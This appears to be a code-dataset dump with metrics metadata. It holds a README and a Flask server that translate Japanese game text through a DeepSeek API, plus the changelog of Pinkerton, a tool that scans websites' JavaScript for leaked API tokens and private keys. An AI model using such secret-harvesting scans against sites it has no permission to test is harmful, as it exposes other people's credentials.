{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
|
0001lizhubo/XUnity.AutoTranslator-deepseek
|
README.md
|
# XUnity.AutoTranslator-deepseek
本项目通过调用腾讯的DeepSeek V3 API，实现Unity游戏中日文文本的自动翻译。
## 准备工作
### 1. 获取API密钥
- 访问[腾讯云API控制台](https://console.cloud.tencent.com/lkeap/api)申请DeepSeek的API密钥（限时免费）。
- 也可以使用其他平台提供的DeepSeek API。
### 2. 安装依赖
确保已安装以下软件和库：
- **XUnity.AutoTranslator**
- **Python 3.x**
安装必要的Python库：
```bash
pip install Flask gevent openai
```
### 3. 配置API
克隆本项目后，修改deepseekv3.py中的`api_key`配置部分：
```python
client = OpenAI(
api_key="sk-XXXXXXXXXXXXXXXXXXXXXX", # 替换为您的API密钥
base_url=Base_url, # API请求基础URL
)
```
### 4. 自定义API配置
如果使用其他云厂商的API和模型，请修改以下配置：
```python
# API配置参数
Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API请求地址
Model_Type = "deepseek-v3" # 使用的模型类型
```
## 启动项目
### 1. 启动Python脚本
确保Python脚本成功启动，命令行应显示：
```
服务器在 http://127.0.0.1:4000 上启动
```
### 2. 配置XUnity.AutoTranslator
修改XUnity.AutoTranslator插件的配置文件`AutoTranslatorConfig.ini`或`Config.ini`：
```ini
[Service]
Endpoint=CustomTranslate
[Custom]
Url=http://127.0.0.1:4000/translate
```
## 参考项目
- [XUnity.AutoTranslator-Sakura](https://github.com/as176590811/XUnity.AutoTranslator-Sakura)
---
通过以上步骤，您可以轻松实现Unity游戏中日文文本的自动翻译。如有问题，请参考相关文档或联系开发者。
| 1,147
|
README
|
md
|
zh
|
markdown
|
text
|
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": null, "qsc_doc_num_sentences": 35.0, "qsc_doc_num_words": 249, "qsc_doc_num_chars": 1147.0, "qsc_doc_num_lines": 61.0, "qsc_doc_mean_word_length": 3.34538153, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.51807229, "qsc_doc_entropy_unigram": 4.57972496, "qsc_doc_frac_words_all_caps": 0.03588517, "qsc_doc_frac_lines_dupe_lines": 0.17021277, "qsc_doc_frac_chars_dupe_lines": 0.03339518, "qsc_doc_frac_chars_top_2grams": 0.14405762, "qsc_doc_frac_chars_top_3grams": 0.02160864, "qsc_doc_frac_chars_top_4grams": 0.0240096, "qsc_doc_frac_chars_dupe_5grams": 0.07923169, "qsc_doc_frac_chars_dupe_6grams": 0.07923169, "qsc_doc_frac_chars_dupe_7grams": 0.04561825, "qsc_doc_frac_chars_dupe_8grams": 0.04561825, "qsc_doc_frac_chars_dupe_9grams": 0.04561825, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 1.0, "qsc_doc_num_chars_sentence_length_mean": 11.47826087, "qsc_doc_frac_chars_hyperlink_html_tag": 0.092415, "qsc_doc_frac_chars_alphabet": null, "qsc_doc_frac_chars_digital": 0.03894839, "qsc_doc_frac_chars_whitespace": 0.10462075, "qsc_doc_frac_chars_hex_words": 0.0}
|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_full_bracket": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
0001lizhubo/XUnity.AutoTranslator-deepseek
|
deepseekv3.py
|
import os
import re
import json
import time
from flask import Flask, request # 导入 Flask 库，用于创建 Web 应用，需要安装：pip install Flask
from gevent.pywsgi import WSGIServer # 导入 gevent 的 WSGIServer，用于提供高性能的异步服务器，需要安装：pip install gevent
from urllib.parse import unquote # 导入 unquote 函数，用于 URL 解码
from threading import Thread # 导入 Thread，用于创建线程 (虽然实际上未使用，但import没有坏处)
from queue import Queue # 导入 Queue，用于创建线程安全的队列
import concurrent.futures # 导入 concurrent.futures，用于线程池
from openai import OpenAI # 导入 OpenAI 库，用于调用 OpenAI API，需要安装：pip install openai 并更新：pip install --upgrade openai
# 启用虚拟终端序列，支持 ANSI 转义代码，允许在终端显示彩色文本
os.system('')
dict_path='用户替换字典.json' # 替换字典路径。如果不需要使用替换字典，请将此变量留空（设为 None 或空字符串 ""）
# API 配置参数
Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API 请求地址，这里使用了腾讯云的 API 代理服务
Model_Type = "deepseek-v3" # 使用的模型类型，可选项包括"deepseek-v3" 或者其他模型
# 检查请求地址尾部是否已包含 "/v1"，若没有则自动补全，确保 API 请求路径正确
if Base_url[-3:] != "/v1":
Base_url = Base_url + "/v1"
# 创建 OpenAI 客户端实例
client = OpenAI(
api_key="sk-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", # API 密钥，请替换为您自己的 API Key。如何获取 API Key 的指南：https://cloud.tencent.com/document/product/1772/115970
base_url=Base_url, # API 请求基础 URL，设置为上面配置的 Base_url
)
# 译文重复内容检测参数
repeat_count=5 # 重复内容阈值。如果译文中有任意单字或单词连续重复出现次数大于等于 repeat_count，则认为译文质量不佳，会触发重试翻译逻辑
# 提示词 (Prompt) 配置
prompt= '''
你是资深本地化专家，负责将游戏日文文本译为简体中文。接收文本后，按以下要求翻译：
翻译范围：翻译普通日文文本，保留原文叙述风格。
保留格式：保留转义字符、格式标签、换行符等非日文文本内容。
翻译原则：忠实准确，确保语义无误；对露骨性描写，可直白粗俗表述，不删减篡改；对双关语等特殊表达，找目标语言等效表达，保原作意图风格。
文本类型：游戏文本含角色对话、旁白、武器及物品名称、技能描述、格式标签、换行符、特殊符号等。
以下是待翻译的游戏文本：
''' # 基础提示词，用于指导模型进行翻译，定义了翻译的角色、范围、格式、原则和文本类型
prompt_list=[prompt] # 提示词列表。可以配置多个提示词，程序会依次尝试使用列表中的提示词进行翻译，直到获得满意的结果
l=len(prompt_list) # 获取提示词列表的长度 (此变量目前未被直接使用，可能是为后续扩展功能预留)
# 提示字典相关的提示词配置
dprompt0='\n在翻译中使用以下字典,字典的格式为{\'原文\':\'译文\'}\n' # 提示模型在翻译时使用提供的字典。字典格式为 JSON 格式的字符串，键为原文，值为译文
dprompt1='\nDuring the translation, use a dictionary in {\'Japanese text \':\'translated text \'} format\n' # 英文版的字典提示词，可能用于多语言支持或模型偏好
# dprompt_list 字典提示词列表，与 prompt_list 提示词列表一一对应。当使用 prompt_list 中的第 i 个提示词时，会同时使用 dprompt_list 中的第 i 个字典提示词
dprompt_list=[dprompt0,dprompt1,dprompt1]
app = Flask(__name__) # 创建 Flask 应用实例
# 读取提示字典
prompt_dict= {} # 初始化提示字典为空字典
if dict_path: # 检查是否配置了字典路径
try:
with open(dict_path, 'r', encoding='utf8') as f: # 尝试打开字典文件
tempdict = json.load(f) # 加载 JSON 字典数据
# 按照字典 key 的长度从长到短排序，确保优先匹配长 key，避免短 key 干扰长 key 的匹配
sortedkey = sorted(tempdict.keys(), key=lambda x: len(x), reverse=True)
for i in sortedkey:
prompt_dict[i] = tempdict[i] # 将排序后的字典数据存入 prompt_dict
except FileNotFoundError:
print(f"\033[33m警告：字典文件 {dict_path} 未找到。\033[0m") # 警告用户字典文件未找到
except json.JSONDecodeError:
print(f"\033[31m错误：字典文件 {dict_path} JSON 格式错误，请检查字典文件。\033[0m") # 错误提示 JSON 格式错误
except Exception as e:
print(f"\033[31m读取字典文件时发生未知错误: {e}\033[0m") # 捕获其他可能的文件读取或 JSON 解析错误
def contains_japanese(text):
"""
检测文本中是否包含日文字符。
Args:
text (str): 待检测的文本。
Returns:
bool: 如果文本包含日文字符，则返回 True；否则返回 False。
"""
pattern = re.compile(r'[\u3040-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FE]') # 日文字符的 Unicode 范围正则表达式
return pattern.search(text) is not None # 使用正则表达式搜索文本中是否包含日文字符
def has_repeated_sequence(string, count):
"""
检测字符串中是否存在连续重复的字符或子串。
Args:
string (str): 待检测的字符串。
count (int): 重复次数阈值。
Returns:
bool: 如果字符串中存在重复次数达到或超过阈值的字符或子串，则返回 True；否则返回 False。
"""
# 首先检查单个字符的重复
for char in set(string): # 遍历字符串中的不重复字符集合
if string.count(char) >= count: # 统计每个字符在字符串中出现的次数，如果超过阈值，则返回 True
return True
# 然后检查字符串片段（子串）的重复
for size in range(2, len(string)//count + 1): # 子串长度从 2 开始到 len(string)//count，因为更长的重复子串不太可能出现
for start in range(0, len(string) - size + 1): # 滑动窗口的起始位置
substring = string[start:start + size] # 提取当前窗口的子串
matches = re.findall(re.escape(substring), string) # 使用正则表达式查找整个字符串中该子串的重复次数，re.escape 用于转义特殊字符
if len(matches) >= count: # 如果子串重复次数达到阈值，则返回 True
return True
return False # 如果以上所有检查都没有发现重复内容，则返回 False
# 获得文本中包含的字典词汇
def get_dict(text):
"""
从文本中提取出在提示字典 (prompt_dict) 中存在的词汇及其翻译。
Args:
text (str): 待处理的文本。
Returns:
dict: 一个字典，key 为在文本中找到的字典原文，value 为对应的译文。
如果文本中没有找到任何字典词汇，则返回空字典。
"""
res={} # 初始化结果字典
for key in prompt_dict.keys(): # 遍历提示字典中的所有原文 (key)
if key in text: # 检查当前原文 (key) 是否出现在待处理文本中
res.update({key:prompt_dict[key]}) # 如果找到，则将该原文及其译文添加到结果字典中
text=text.replace(key,'') # 从文本中移除已匹配到的字典原文，避免出现长字典包含短字典导致重复匹配的情况。
# 例如，字典中有 "技能" 和 "技能描述" 两个词条，如果先匹配到 "技能描述"，
# 则将文本中的 "技能描述" 替换为空，后续就不会再匹配到 "技能" 了。
if text=='': # 如果文本在替换过程中被清空，说明所有文本内容都已被字典词汇覆盖，提前结束循环
break
return res # 返回提取到的字典词汇和译文
request_queue = Queue() # 创建请求队列，用于异步处理翻译请求。使用队列可以避免请求处理阻塞主线程，提高服务器响应速度
def handle_translation(text, translation_queue):
"""
处理翻译请求的核心函数。
Args:
text (str): 待翻译的文本。
translation_queue (Queue): 用于存放翻译结果的队列。
"""
text = unquote(text) # 对接收到的文本进行 URL 解码，还原原始文本内容
max_retries = 3 # 最大 API 请求重试次数
retries = 0 # 初始化重试次数计数器
MAX_THREADS = 30 # 最大线程数限制，用于限制并发 API 请求数量，防止对 API 造成过大压力或超出并发限制
queue_length = request_queue.qsize() # 获取当前请求队列的长度，可以根据队列长度动态调整线程数
number_of_threads = max(1, min(queue_length // 4, MAX_THREADS)) # 动态计算线程数：
# 至少使用 1 个线程，最多不超过 MAX_THREADS，
# 线程数随队列长度增加而增加，但增幅受限 (除以 4)。
# 这样可以在请求量大时增加并发，请求量小时减少资源占用。
special_chars = ['，', '。', '？','...'] # 定义句末特殊字符列表，用于句末标点符号的对齐和修正
text_end_special_char = None # 初始化文本末尾特殊字符变量
if text[-1] in special_chars: # 检查待翻译文本末尾是否包含特殊字符
text_end_special_char = text[-1] # 如果包含，则记录该特殊字符
special_char_start = "「" # 定义特殊字符起始标记
special_char_end = "」" # 定义特殊字符结束标记
has_special_start = text.startswith(special_char_start) # 检查文本是否以特殊字符起始标记开头
has_special_end = text.endswith(special_char_end) # 检查文本是否以特殊字符结束标记结尾
if has_special_start and has_special_end: # 如果文本同时包含起始和结束特殊字符标记，则在翻译前移除它们，
# 翻译后再将特殊字符加回，以避免特殊字符影响翻译质量或被模型错误翻译
text = text[len(special_char_start):-len(special_char_end)]
# OpenAI 模型参数配置
model_params = {
"temperature": 0.1, # 降低 temperature，使模型输出更稳定，减少随机性
"frequency_penalty": 0.1, # 对频繁出现的 token 施加惩罚， हल्का降低重复内容生成的可能性
"max_tokens": 512, # 限制模型生成token的最大数量，避免模型生成过长文本，浪费token或超出处理限制
"top_p": 0.3, # 限制候选token的范围，仅考虑累积概率最高的 top_p 部分 token，进一步约束模型输出，提高生成质量
}
try: # 使用 try...except 块捕获可能发生的异常，例如 API 请求超时或错误
dict_inuse=get_dict(text) # 从待翻译文本中获取字典词汇
for i in range(len(prompt_list)): # 遍历提示词列表，尝试使用不同的提示词进行翻译
prompt = prompt_list[i] # 获取当前循环的提示词
dict_inuse = get_dict(text) # 再次获取字典词汇 (虽然此处重复获取，但逻辑上为了保证每次循环都重新获取一次字典是更严谨的)
if dict_inuse: # 如果获取到字典词汇，则将字典提示词和字典内容添加到当前提示词中，引导模型使用字典进行翻译
prompt += dprompt_list[i] + str(dict_inuse)
messages_test = [ # 构建 OpenAI API 请求的消息体
{"role": "system", "content": prompt}, # system 角色消息，包含提示词，用于设定模型角色和翻译目标
{"role": "user", "content": text} # user 角色消息，包含待翻译的文本内容
]
with concurrent.futures.ThreadPoolExecutor(max_workers=number_of_threads) as executor: # 创建线程池，并发执行 API 请求
future_to_trans = {executor.submit(client.chat.completions.create, model=Model_Type, messages=messages_test, **model_params) for _ in range(number_of_threads)} # 提交多个 API 请求任务到线程池
# 这里提交的任务数量等于 number_of_threads，实现并发请求
for future in concurrent.futures.as_completed(future_to_trans): # 遍历已完成的 future
try: # 再次使用 try...except 捕获单个 API 请求可能发生的异常
response_test = future.result() # 获取 future 的结果，即 API 响应
translations = response_test.choices[0].message.content # 从 API 响应中提取翻译结果文本
print(f'{prompt}\n{translations}') # 打印提示词和翻译结果 (调试或日志记录用)
if translations.startswith('\n') and not text.startswith('\n'): #当原文未有换行符，结果出现换行符
translations = translations.lstrip('\n') #清除结果中开头的换行符
if has_special_start and has_special_end: # 如果原始文本包含特殊字符标记，则将翻译结果用特殊字符标记包裹起来，保持格式一致
if not translations.startswith(special_char_start): # 检查翻译结果是否已以起始标记开头，若没有则添加
translations = special_char_start + translations
if not translations.endswith(special_char_end): # 检查翻译结果是否已以结束标记结尾，若没有则添加
translations = translations + special_char_end
elif has_special_start and not translations.startswith(special_char_start): # 再次检查并添加起始标记，以应对更复杂的情况
translations = special_char_start + translations
elif has_special_end and not translations.endswith(special_char_end): # 再次检查并添加结束标记，以应对更复杂的情况
translations = translations + special_char_end
translation_end_special_char = None # 初始化翻译结果末尾特殊字符变量
if translations[-1] in special_chars: # 检查翻译结果末尾是否包含特殊字符
translation_end_special_char = translations[-1] # 如果包含，则记录该特殊字符
if text_end_special_char and translation_end_special_char: # 如果原始文本和翻译结果末尾都有特殊字符
if text_end_special_char != translation_end_special_char: # 且两个特殊字符不一致，则修正翻译结果的末尾特殊字符，使其与原始文本一致，保持标点符号对齐
translations = translations[:-1] + text_end_special_char
elif text_end_special_char and not translation_end_special_char: # 如果原始文本末尾有特殊字符，而翻译结果没有，则将原始文本的末尾特殊字符添加到翻译结果末尾，保持标点符号完整
translations += text_end_special_char
elif not text_end_special_char and translation_end_special_char: # 如果原始文本末尾没有特殊字符，而翻译结果有，则移除翻译结果末尾的特殊字符，保持标点符号简洁
translations = translations[:-1]
contains_japanese_characters = contains_japanese(translations) # 检测翻译结果中是否包含日文字符
repeat_check = has_repeated_sequence(translations, repeat_count) # 检测翻译结果中是否存在重复内容
except Exception as e: # 捕获 API 请求异常
retries += 1 # 增加重试次数
print(f"API请求超时，正在进行第 {retries} 次重试... {e}") # 打印重试信息
if retries == max_retries: # 如果达到最大重试次数
raise e # 抛出异常，终止翻译
time.sleep(1) # 等待 1 秒后重试
if not contains_japanese_characters and not repeat_check: # 如果翻译结果不包含日文字符且没有重复内容，则认为翻译质量可以接受，跳出提示词循环
break
elif contains_japanese_characters: # 如果翻译结果包含日文字符，则说明当前提示词不适用
print("\033[31m检测到译文中包含日文字符，尝试使用下一个提示词进行翻译。\033[0m") # 打印警告信息，提示将尝试下一个提示词
continue # 继续下一次循环，尝试使用下一个提示词
elif repeat_check: # 如果翻译结果存在重复内容，则说明翻译质量不佳，需要调整模型参数或提示词
print("\033[31m检测到译文中存在重复短语，调整参数。\033[0m") # 打印警告信息，提示将调整模型参数
model_params['frequency_penalty'] += 0.1 # 增加 frequency_penalty 参数值，降低模型生成重复内容的倾向
break # 跳出当前提示词的尝试，使用调整后的参数重新尝试翻译 (注意这里只是 break 了内层的 for 循环，外层的 for 循环会继续尝试下一个提示词，逻辑可能需要根据实际需求调整)
if not contains_japanese_characters and not repeat_check: # 再次检查，如果翻译结果最终符合要求 (不包含日文字符且没有重复内容)，则跳出所有循环，完成翻译
break
# 打印最终翻译结果 (高亮显示)
print(f"\033[36m[译文]\033[0m:\033[31m {translations}\033[0m")
print("-------------------------------------------------------------------------------------------------------") # 分隔线，用于分隔不同文本的翻译结果
translation_queue.put(translations) # 将翻译结果放入翻译结果队列，供 Flask 路由函数获取
except Exception as e: # 捕获更外层的异常，例如 API 连接错误等
print(f"API请求失败：{e}") # 打印 API 请求失败的错误信息
translation_queue.put(False) # 将 False 放入翻译结果队列，表示翻译失败
# 定义 Flask 路由，处理 "/translate" GET 请求
@app.route('/translate', methods=['GET'])
def translate():
"""
Flask 路由函数，处理 "/translate" GET 请求。
接收 GET 请求参数中的 "text" 字段，调用翻译处理函数进行翻译，并返回翻译结果。
如果翻译超时或失败，则返回相应的错误信息和状态码。
Returns:
Response: Flask Response 对象，包含翻译结果或错误信息。
"""
text = request.args.get('text') # 从 GET 请求的查询参数中获取待翻译的文本，参数名为 "text"
print(f"\033[36m[原文]\033[0m \033[35m{text}\033[0m") # 打印接收到的原文 (高亮显示)
# 由于提示词中已经提供对换行符的处理，所以这里不需要再对换行符进行特殊处理，所以将下面的代码注释掉，如果修改了提示词，请取消注释
# if '\n' in text: # 检查原文中是否包含换行符 "\n"
# text=text.replace('\n','\\n') # 如果包含，则将换行符替换为 "\\n"，避免换行符在后续处理中引起问题 (例如，在某些日志或显示场景下)
translation_queue = Queue() # 创建一个新的翻译结果队列，用于当前请求的翻译结果传递
request_queue.put_nowait(text) # 将待翻译文本放入请求队列，使用 put_nowait 非阻塞地放入队列
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: # 创建一个线程池，用于执行翻译任务 (这里线程池的最大线程数设置为 10，可能需要根据实际情况调整)
future = executor.submit(handle_translation, text, translation_queue) # 提交翻译任务 (handle_translation 函数) 到线程池，并获取 Future 对象，用于跟踪任务状态和结果
try: # 使用 try...except 块捕获任务执行超时异常
future.result(timeout=30) # 等待任务完成，设置超时时间为 30 秒。如果在 30 秒内任务没有完成，则抛出 TimeoutError 异常
except concurrent.futures.TimeoutError: # 捕获超时异常
print("翻译请求超时，重新翻译...") # 打印超时信息
return "[请求超时] " + text, 500 # 返回 HTTP 500 错误状态码和错误信息，包含原始文本，方便用户识别超时的请求
translation = translation_queue.get() # 从翻译结果队列中获取翻译结果，这里会阻塞等待，直到队列中有结果可取
request_queue.get_nowait() # 从请求队列中移除已处理完成的请求 (这里可能需要根据实际队列使用逻辑来调整，如果 request_queue 仅用于统计队列长度，则此处的 get_nowait 可能不是必需的)
if isinstance(translation, str): # 检查翻译结果是否为字符串类型，判断翻译是否成功
translation = translation.replace('\\n', '\n') # 如果翻译成功，将之前替换的 "\\n" 还原为 "\n"，恢复原始换行符格式
return translation # 返回翻译结果字符串
else: # 如果翻译结果不是字符串类型 (例如，返回了 False)，则表示翻译失败
return translation, 500 # 返回翻译失败的状态码 500 和具体的错误信息 (如果 translation 中包含了错误信息)
def main():
"""
主函数，启动 Flask 应用和 gevent 服务器。
"""
print("\033[31m服务器在 http://127.0.0.1:4000 上启动\033[0m") # 打印服务器启动信息，提示用户访问地址
http_server = WSGIServer(('127.0.0.1', 4000), app, log=None, error_log=None) # 创建 gevent WSGIServer 实例，监听 127.0.0.1:4000 端口，使用 Flask app 处理请求，禁用访问日志和错误日志 (log=None, error_log=None)
http_server.serve_forever() # 启动 gevent 服务器，无限循环运行，等待和处理客户端请求
if __name__ == '__main__':
main() # 当脚本作为主程序运行时，调用 main 函数启动服务器
| 14,868
|
deepseekv3
|
py
|
zh
|
python
|
code
|
{"qsc_code_num_words": 3222, "qsc_code_num_chars": 14868.0, "qsc_code_mean_word_length": 2.88981999, "qsc_code_frac_words_unique": 0.23277467, "qsc_code_frac_chars_top_2grams": 0.01460638, "qsc_code_frac_chars_top_3grams": 0.02105037, "qsc_code_frac_chars_top_4grams": 0.01546558, "qsc_code_frac_chars_dupe_5grams": 0.17065836, "qsc_code_frac_chars_dupe_6grams": 0.09805606, "qsc_code_frac_chars_dupe_7grams": 0.05037053, "qsc_code_frac_chars_dupe_8grams": 0.04091934, "qsc_code_frac_chars_dupe_9grams": 0.03221995, "qsc_code_frac_chars_dupe_10grams": 0.01116958, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02019013, "qsc_code_frac_chars_whitespace": 0.25712941, "qsc_code_size_file_byte": 14868.0, "qsc_code_num_lines": 311.0, "qsc_code_num_chars_line_max": 196.0, "qsc_code_num_chars_line_mean": 47.80707395, "qsc_code_frac_chars_alphabet": 0.82263468, "qsc_code_frac_chars_comments": 0.37193974, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12299465, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.04812834, "qsc_code_frac_chars_string_length": 0.1272505, "qsc_code_frac_chars_long_word_length": 0.06779284, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.03208556, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.05882353, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.13368984, "qsc_codepython_frac_lines_print": 0.06951872}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
|
000pp/Pinkerton
|
CHANGELOG.md
|
# 1.7 - 10/05/2025
- Removed "banner.txt" file
- Removed ASCII art from banner
- Changed color and print scheme
- Changed "rich.print" to "rich.console.print"
- Improved the code
- Add -H option, now you can specify custom headers, for example:
```
python3 main.py -u https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a -H "First-Header" "First-Header-Value" -H "Second-Header" "Second-Header-Value"
GET https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a
second-header Second-Header-Value
first-header First-Header-Value
```
- Removed Heroku API Key regex because of false positives
<br>
# 1.6c - 20/07/2023
- Major changes
- Removed "assets" folder (moved banner img to imgur)
<br>
# 1.6b - 06/08/2022
- Added 2 new secrets regex patterns:
- Asana Client ID
- Asana Client Secret
- IPv4 regex pattern removed because of false positives
<br>
# 1.6a - 04/08/2022
- Added 4 new secrets regex patterns:
- Shopify Access Token
- Shopify Custom Access Token
- Shopify Private App Access Token
- Shopify Shared Secret
- Changed regex and jsbeautify import libs
<br>
# 1.6 - 31/07/2022
- Added 11 new secrets regex patterns:
- URL Schemes
- Adobe Client Secret
- Alibaba AccessKey ID
- Clojars API Token
- Doppler API Token
- Dynatrace API Token
- EasyPost API Token
- GitHub App Token
- GitHub Personal Access Token
- GitLab Personal Access Token
- NPM Access Token
- Fixed GCP API Key regex
- Removed useless if/else code
<br>
# 1.5a - 28/07/2022
- Added 2 new secrets regex patterns:
- Slack Webhook+
- Slack OAuth Tokens
<br>
# 1.5 - 28/07/2022
- Added 9 new secrets regex patterns:
- Artifactory API Token & Password
- Cloudinary Basic Auth
- Facebook Client ID
- IPv4 Address
- Linkedin Secret Key
- Picatic API Key
- Mailto String
- Slack Token
- URL Parameters
- Fixed error message when not parsing arguments
- Changed status messages icons
- Changed README.md banner
- Updated README.md
<br>
# 1.4 - 18/07/2022
- Added 5 new secrets regex patterns:
- PGP Private Key Block
- SSH DSA Private Key
- SSH EC Private Key
- SSH RSA Key
- SSH ED25519 Public Key
- Added jsbeautifier lib to improve regex pattern matching
- Fixed blank regex pattern matching caused by not beautified code
- Fixed infinite JavaScript file scanning
<br>
# 1.3 - 04/07/2022
- Added and updated a bunch of secrets regex:
- Cloudinary
- Firebase URL
- Slack Token
- Facebook Access & API
- Mailgun API Key
- Heroku API Key
- Picatic API Key
- Paypal Braintree
- Twitter Access & OAuth Token
- GitHub URL
- Stripe
- Slack Webhook
- Twilio API Key
- Square Access Token & OAuth Secret
- Removed text file with URLs scanner to fix bugs
<br>
# 1.2b - 21/06/2022
- Pinkerton accept a text file with URLs now!
<br>
# 1.2 - 21/06/2022
- Secret searcher module finished!
- Improved the code
<br>
# 1.1 - 20/06/2022
- JavaScript file link extractor finished!
- Improved the code
- Thinking in a better color system...
<br>
# 1.0 - 09/06/2022
- Official Pinkerton release
| 3,190
|
CHANGELOG
|
md
|
en
|
markdown
|
text
|
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.06469761, "qsc_doc_num_sentences": 27.0, "qsc_doc_num_words": 463, "qsc_doc_num_chars": 3190.0, "qsc_doc_num_lines": 139.0, "qsc_doc_mean_word_length": 4.72354212, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.00719424, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.44060475, "qsc_doc_entropy_unigram": 4.92259115, "qsc_doc_frac_words_all_caps": 0.05344585, "qsc_doc_frac_lines_dupe_lines": 0.20353982, "qsc_doc_frac_chars_dupe_lines": 0.08629799, "qsc_doc_frac_chars_top_2grams": 0.01646091, "qsc_doc_frac_chars_top_3grams": 0.04115226, "qsc_doc_frac_chars_top_4grams": 0.06310014, "qsc_doc_frac_chars_dupe_5grams": 0.14906264, "qsc_doc_frac_chars_dupe_6grams": 0.09785094, "qsc_doc_frac_chars_dupe_7grams": 0.07407407, "qsc_doc_frac_chars_dupe_8grams": 0.04389575, "qsc_doc_frac_chars_dupe_9grams": 0.0, 